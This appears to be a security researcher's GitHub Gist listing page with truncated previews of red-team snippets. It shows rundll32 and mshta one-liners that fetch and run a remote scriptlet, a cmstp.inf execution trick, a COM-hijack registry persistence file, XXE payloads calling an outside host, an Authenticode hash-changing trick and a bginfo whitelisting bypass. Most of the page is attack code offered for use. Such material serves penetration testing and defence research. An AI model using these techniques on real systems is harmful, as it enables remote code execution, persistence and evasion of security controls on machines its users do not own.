Skip to content

Instantly share code, notes, and snippets.

View api0cradle's full-sized avatar

Oddvar Moe api0cradle

748 followers · 11 following
View GitHub Profile
@api0cradle
api0cradle / client.ps1
Created April 23, 2018 21:23
TLS C2
function Get-PublicKey
{
[OutputType([byte[]])]
PARAM (
[Uri]$Uri
)
if (-Not ($uri.Scheme -eq "https"))
{
Write-Error "You can only get keys for https addresses"
@api0cradle
api0cradle / instructions.txt
Created September 3, 2017 11:41 — forked from NickTyrer/instructions.txt
xwizard_sct
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
verclsid.exe /S /C {00000001-0000-0000-0000-0000FEEDACDC}
create new folder and rename file.{00000001-0000-0000-0000-0000FEEDACDC}
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";o=GetObject("script:https://gist.githubusercontent.com/NickTyrer/0598b60112eaafe6d07789f7964290d5/raw/7717cfad109fc15a6796dd9119b0267f7a4df3fd/power.sct");close();
mshta javascript:o=GetObject("script:https://gist.githubusercontent.com/NickTyrer/0598b60112eaafe6d07789f7964290d5/raw/7717cfad109fc15a6796dd9119b0267f7a4df3fd/power.sct");o.Exec();close();
@api0cradle
api0cradle / cmstp.inf
Created January 30, 2018 21:55 — forked from NickTyrer/cmstp.inf
;cmstp.exe cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
@api0cradle
api0cradle / Copy-AuthenticodeSignedFile.ps1
Created November 13, 2019 13:28 — forked from mattifestation/Copy-AuthenticodeSignedFile.ps1
When supplied with an Authenticode-signed PowerShell script, Copy-AuthenticodeSignedFile generates the same signed, validated file but with a different file hash.
function Copy-AuthenticodeSignedFile {
<#
.SYNOPSIS
Creates a copy of an Authenticode-signed PowerShell file that has a unique file hash but retains its valid signature.
.DESCRIPTION
Copy-AuthenticodeSignedFile creates a copy of an Authenticode-signed PowerShell file that has a unique file hash but retains its valid signature. This is used to bypass application whitelisting hash-based blacklist rules.
@api0cradle
api0cradle / LotusNotes Running PowerShell Code
Created May 13, 2018 21:43 — forked from danielbohannon/LotusNotes Running PowerShell Code
LotusNotes Running PowerShell Code
"C:\Program Files (x86)\IBM\Lotus\Notes\Notes.exe" "=N:\Lotus\Notes\Data\notes.ini" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }
NLNOTES.EXE /authenticate "=N:\Lotus\Notes\Data\notes.ini" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }
Hashes of each binary (prepare for onslaught of md5 naysayers):
Notes.exe — 8f633ef1e1147637c25dd917909cd361
NLNOTES.EXE — 3586b9069a1d4e1c63d9c9cf95cf4126
@api0cradle
api0cradle / powersct.sct
Created January 30, 2018 22:05 — forked from NickTyrer/powersct.sct
<?xml version="1.0" encoding="utf-8"?>
<package>
<component
id="dummy">
<registration
description="dummy"
progid="dummy"
version="1.00"
remotable="True">
<script
@api0cradle
api0cradle / winlogon.reg
Created February 11, 2018 21:17 — forked from anonymous/winlogon.reg
WinLogon Windows 7 x64 COM Hijack
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@api0cradle
api0cradle / XXE_payloads
Created August 15, 2017 07:46 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@api0cradle
api0cradle / gist:efc90f8318556f0737791b6d73a4ec8b
Created May 18, 2017 18:20
bginfo.vbs
'PoC code: Application whitelisting bypass using bginfo
'Author: @oddvarmoe - http://oddvar.moe
strProgram = "cmd.exe"
strPath = "C:\windows\system32"
Set fso = CreateObject("Scripting.FileSystemObject")
strCommand = fso.BuildPath(strPath, strProgram)
Set app = CreateObject("Shell.Application")
@api0cradle
api0cradle / gist:91c9262a8697da87ea10bfee8a5f05c5
Created April 30, 2018 08:22
WMIKatz - Are you afraid
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:vb="urn:the-xml-files:xslt-vb" xmlns:user="placeholder" version="1.0">
<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->
<xsl:output method="text" omit-xml-declaration="yes" indent="no"/>
<xsl:strip-space elements="*" />
<ms:script implements-prefix="user" language="JScript">
<![CDATA[